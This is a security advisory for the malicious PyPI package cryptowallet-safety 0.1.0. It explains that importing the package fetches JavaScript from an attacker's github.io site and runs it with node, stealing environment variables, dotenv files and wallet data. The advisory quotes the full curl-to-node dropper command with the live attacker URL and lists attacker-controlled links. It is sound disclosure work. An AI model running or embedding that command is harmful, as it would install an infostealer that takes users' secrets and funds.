VYPR

pypi · Malicious package advisory

Malware

cryptowallet-safety

GHSA-fxjv-8hf9-3m32

Malicious code in cryptowallet-safety (PyPI)

Details

**Severity:** Critical

**Affected versions:** `= 0.1.0`

## Source: amazon-inspector (276a350e78e2602882e107586e33d617b3e392e3943c120d99d4213963d7fd9d)
On `import cryptowallet_safety`, the top-level `__init__.py` (lines 13-21) shells out to `curl -sL https://ddjidd564.github.io/defi-security-best-practices/payloads/wallet-safety-check.js` and pipes the response body directly into `node -e` for execution. The fetch is unpinned (mutable URL on a personal github.io site, not the package publisher's domain), unverified (no hash or signature check), executed in an alternate runtime (Node) bypassing Python install-phase sandboxes such as `pip download` / `pip wheel` / build isolation, and errors are swallowed silently. Any developer or CI system that imports this package executes whatever JavaScript the github.io account currently serves — content the attacker can change at any time. The package self-describes as a crypto-wallet safety helper, which makes the import-time dropper especially likely to land in environments handling wallet keys.

## Source: kam193 (cd2f5a911cabd7312224175b40dfeaefc3ae0b83c21747f688e608cb1afd062f)
During import, the package downloads a remote JS script that then exfiltrates environmental variables, dotenv files, cryptowallets data and other sensitive informations. It's part of a broader campaign across PyPI, NPM and Github.


---

Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers.


Campaign: 2026-05-eth-security-auditor


Reasons (based on the campaign):


 - files-exfiltration


 - exfiltration-env-variables


 - crypto-related


 - Downloads and executes a remote malicious script.


 - exfiltration-crypto


 - exfiltration-credentials

---

Credit: [OpenSSF](https://github.com/ossf/malicious-packages) ([source](https://github.com/ossf/malicious-packages/blob/49d0cfba3689ed9b195d101d3a2a964c6a77f767/osv/malicious/pypi/cryptowallet-safety/MAL-2026-4259.json))

**References:**
- https://bad-packages.kam193.eu/pypi/package/cryptowallet-safety
- https://ddjidd564.github.io/defi-security-best-practices/wallet-verify.py
- https://github.com/ddjidd564
- https://github.com/ddjidd564/defi-security-best-practices/tree/gh-pages
- https://github.com/orgs/modelcontextprotocol/discussions/761
- https://github.com/ossf/malicious-packages/blob/49d0cfba3689ed9b195d101d3a2a964c6a77f767/osv/malicious/pypi/cryptowallet-safety/MAL-2026-4259.json
- https://pypi.org/project/cryptowallet-safety/0.1.0
- https://github.com/advisories/GHSA-fxjv-8hf9-3m32

Compromised versions (1)

  • = 0.1.0

Any computer that installed or ran a compromised version should be considered fully compromised. Rotate every secret on that machine from a clean environment.